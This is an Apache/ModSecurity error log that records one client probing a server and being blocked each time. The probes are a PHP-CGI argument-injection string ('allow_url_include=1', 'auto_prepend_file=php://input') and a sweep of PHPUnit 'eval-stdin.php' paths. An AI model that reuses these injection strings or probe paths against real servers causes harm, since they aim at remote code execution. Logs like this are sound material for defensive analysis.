[Sun Oct 25 06:47:59.943085 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at3eXyK0zo25roaoS0zX1gAAABY"]
[Sun Oct 25 06:47:59.943599 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at3eXyK0zo25roaoS0zX1gAAABY"]
[Sun Oct 25 06:48:01.926196 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at3eXyK0zo25roaoS0zX1gAAABY"]
[Sun Oct 25 06:48:02.278930 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 35.169.119.108:48639] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:48:02.758534 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eYiK0zo25roaoS0zX1wAAABY"]
[Sun Oct 25 06:48:02.759015 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eYiK0zo25roaoS0zX1wAAABY"]
[Sun Oct 25 06:48:02.759316 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eYiK0zo25roaoS0zX1wAAABY"]
[Sun Oct 25 06:48:03.529001 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eYyK0zo25roaoS0zX2AAAABY"]
[Sun Oct 25 06:48:03.529519 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eYyK0zo25roaoS0zX2AAAABY"]
[Sun Oct 25 06:48:03.529874 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eYyK0zo25roaoS0zX2AAAABY"]
[Sun Oct 25 06:48:03.864598 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eYyK0zo25roaoS0zX2QAAABY"]
[Sun Oct 25 06:48:03.865041 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eYyK0zo25roaoS0zX2QAAABY"]
[Sun Oct 25 06:48:03.865338 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eYyK0zo25roaoS0zX2QAAABY"]
[Sun Oct 25 06:48:04.574366 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eZCK0zo25roaoS0zX2gAAABY"]
[Sun Oct 25 06:48:04.574901 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eZCK0zo25roaoS0zX2gAAABY"]
[Sun Oct 25 06:48:04.575233 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eZCK0zo25roaoS0zX2gAAABY"]
[Sun Oct 25 06:48:06.210719 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.224.205.25:37797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:48:06.278407 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX2wAAABY"]
[Sun Oct 25 06:48:06.278884 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX2wAAABY"]
[Sun Oct 25 06:48:06.279168 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX2wAAABY"]
[Sun Oct 25 06:48:06.504438 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX3AAAABY"]
[Sun Oct 25 06:48:06.504909 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX3AAAABY"]
[Sun Oct 25 06:48:06.505247 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX3AAAABY"]
[Sun Oct 25 06:48:06.848828 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX3QAAABY"]
[Sun Oct 25 06:48:06.849350 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX3QAAABY"]
[Sun Oct 25 06:48:06.849664 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eZiK0zo25roaoS0zX3QAAABY"]
[Sun Oct 25 06:48:07.527170 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eZyK0zo25roaoS0zX3gAAABY"]
[Sun Oct 25 06:48:07.527703 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eZyK0zo25roaoS0zX3gAAABY"]
[Sun Oct 25 06:48:07.528161 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eZyK0zo25roaoS0zX3gAAABY"]
[Sun Oct 25 06:48:08.328643 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX3wAAABY"]
[Sun Oct 25 06:48:08.329092 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX3wAAABY"]
[Sun Oct 25 06:48:08.329429 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX3wAAABY"]
[Sun Oct 25 06:48:08.608386 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX4AAAABY"]
[Sun Oct 25 06:48:08.608840 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX4AAAABY"]
[Sun Oct 25 06:48:08.609174 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX4AAAABY"]
[Sun Oct 25 06:48:08.913375 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX4QAAABY"]
[Sun Oct 25 06:48:08.913864 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX4QAAABY"]
[Sun Oct 25 06:48:08.914194 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3eaCK0zo25roaoS0zX4QAAABY"]
[Sun Oct 25 06:48:09.192866 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX4gAAABY"]
[Sun Oct 25 06:48:09.193307 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX4gAAABY"]
[Sun Oct 25 06:48:09.193606 2026] [security2:error] [pid 2815608:tid 2815608] [client 118.145.104.105:57802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3eaSK0zo25roaoS0zX4gAAABY"]
